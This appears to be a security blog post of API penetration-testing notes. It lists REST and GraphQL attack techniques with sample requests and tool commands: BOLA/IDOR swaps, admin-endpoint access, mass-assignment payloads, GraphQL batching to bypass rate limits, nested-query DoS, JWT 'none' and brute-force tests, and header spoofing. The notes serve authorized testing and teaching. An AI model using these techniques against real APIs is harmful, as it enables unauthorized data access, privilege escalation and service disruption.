← Back to writing
Web Pentesting

API Pentesting Notes

Sep 11, 2024
4 min read
lawbyte

Modern applications are built on APIs, and APIs introduce their own class of vulnerabilities. This post covers the full API testing methodology from discovery through exploitation, with a focus on REST and GraphQL.

API Discovery & Enumeration

Before you can test, you need to find the API surface.

Documentation endpoints

/api/docs
/api/swagger.json
/swagger-ui.html
/api/openapi.json
/v1/api-docs
/api/v1/swagger
/redoc
/.well-known/

Wordlists for fuzzing

# ffuf against common API paths
ffuf -u https://target.com/FUZZ -w api_wordlist.txt -mc 200,201,204,301,302

# Common API path wordlists
SecLists/Discovery/Web-Content/api/api-endpoints.txt
SecLists/Discovery/Web-Content/common-api-endpoints-mazen160.txt

JavaScript file mining

Most SPAs bundle API endpoints in JS:

# linkfinder
python linkfinder.py -i https://target.com/app.js -o cli

# gf patterns
cat js_files.txt | xargs -I{} curl -s {} | gf endpoints

Postman / API collection leaks

site:target.com filetype:json "postman"
"target.com" inurl:postman

REST API Testing

BOLA / IDOR (Broken Object Level Authorization)

The most common and critical API vulnerability. The API doesn’t verify that the requester owns the requested object.

GET /api/v1/users/1234/orders HTTP/1.1
Authorization: Bearer <user_B_token>

Change 1234 to another user’s ID. If it returns their orders, BOLA is confirmed.

Testing methodology:

  1. Create two accounts (A and B).
  2. Perform all actions as account A, note all object IDs.
  3. Replay every request with account B’s token.
  4. Any data returned from A’s objects = BOLA.

ID formats to try:

/api/users/1234           → integer
/api/users/USER_1234 → prefixed
/api/orders/abc-123-def → UUID (find via your own account first)
/api/files/dGVzdA== → base64 encoded

BFLA (Broken Function Level Authorization)

Testing whether regular users can call admin-only endpoints:

DELETE /api/v1/admin/users/1234
POST /api/v1/admin/grant-role
GET /api/v1/admin/reports

Also test HTTP method switching:

# Application uses POST for creating
POST /api/v1/users

# Try PUT/PATCH/DELETE on same path
DELETE /api/v1/users
PUT /api/v1/users/1234

Mass Assignment

APIs that bind request body directly to database models often expose internal fields:

POST /api/v1/users/register
{"username":"attacker","password":"pass","email":"a@b.com"}

Try adding privileged fields:

POST /api/v1/users/register
{
"username": "attacker",
"password": "pass",
"email": "a@b.com",
"role": "admin",
"is_admin": true,
"verified": true,
"credits": 99999
}

Find candidate fields from GET responses — the field names used in responses are often the same ones accepted in POST/PUT.

API Versioning Issues

Older API versions often lack security controls applied to newer versions:

/api/v1/users/1234     → no auth check (old)
/api/v2/users/1234 → properly protected (new)
/api/mobile/users/1234 → mobile endpoint, different validation

GraphQL Testing

Introspection

If introspection is enabled, you get the full schema:

{
__schema {
types {
name
fields {
name
type { name }
}
}
}
}

Or enumerate types:

{
__type(name: "User") {
fields { name type { name } }
}
}

Tools: InQL (Burp extension), GraphQL Voyager, graphql-path-enum

Introspection disabled — field suggestions

GraphQL often returns “Did you mean X?” suggestions even when introspection is off:

{ usr { id } }
# Response: "Cannot query field 'usr'. Did you mean 'user'?"

Wordlist-based field enumeration exploiting this: Clairvoyance

python clairvoyance.py -u https://target.com/graphql -o schema.json

IDOR via GraphQL

query {
user(id: "1234") {
email
phone
ssn
}
}

Change 1234 to another user’s ID.

Batching Attacks

GraphQL supports batching multiple operations in a single request:

[
{"query": "query { user(id: 1) { email } }"},
{"query": "query { user(id: 2) { email } }"},
...1000 more...
]

Use this to bypass rate limiting on brute-force attacks (OTP, password reset tokens).

Mutation Privilege Escalation

mutation {
updateUser(id: "victim_id", role: "ADMIN") {
id
role
}
}

Nested Query DoS (Query Depth)

{
user {
friends {
friends {
friends {
friends { id email }
}
}
}
}
}

Each level multiplies the database queries. Without depth limiting, this causes DoS.


Authentication Testing

JWT in API context

# Decode without verification
jwt_tool <token> -d

# Test none algorithm
jwt_tool <token> -X a

# Brute force
jwt_tool <token> -C -d wordlist.txt

API key in unexpected locations

?api_key=xxx
X-API-Key: xxx
Authorization: ApiKey xxx
Authorization: Token xxx
X-Auth-Token: xxx

Check JavaScript source, mobile apps, and public GitHub repos for leaked keys.

OAuth token scope escalation

GET /api/v1/admin/config
Authorization: Bearer <token_with_read_scope>

Even with read scope, admin endpoints might not verify scope granularly.


Rate Limiting Bypass

# X-Forwarded-For rotation
X-Forwarded-For: 1.1.1.1
X-Forwarded-For: 2.2.2.2

# Other headers
X-Real-IP: 3.3.3.3
X-Originating-IP: 4.4.4.4
Client-IP: 5.5.5.5

# Null byte / whitespace in identifier
POST /api/login
{"username":"admin ","password":"brute"} # trailing space as different user

Common API Tools

# Burp Suite — intercept, modify, replay
# + InQL extension for GraphQL

# mitmproxy — scriptable proxy
mitmproxy --mode transparent

# httpie — curl alternative, cleaner output
http GET https://api.target.com/users/1 Authorization:"Bearer token"

# Nuclei — template-based API scanning
nuclei -u https://api.target.com -t api/

# kiterunner — API route discovery with context-aware wordlists
kr scan https://api.target.com -w routes-large.kite

# Arjun — parameter discovery
python arjun.py -u https://api.target.com/endpoint -m POST

API Checklist

  • Discover all endpoints via JS mining, docs, and fuzzing
  • Test BOLA on every object ID (swap between accounts)
  • Test BFLA on admin/privileged endpoints with regular user tokens
  • Try mass assignment on all POST/PUT/PATCH endpoints
  • Check all older API versions (/v1, /v2, /beta, /mobile)
  • Test GraphQL introspection, field enumeration, batching, depth
  • Verify authentication on every endpoint (remove/change token)
  • Test rate limiting on auth endpoints (login, OTP, password reset)
  • Check for sensitive data in responses (passwords, tokens, PII)
  • Test HTTP method switching on every endpoint

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.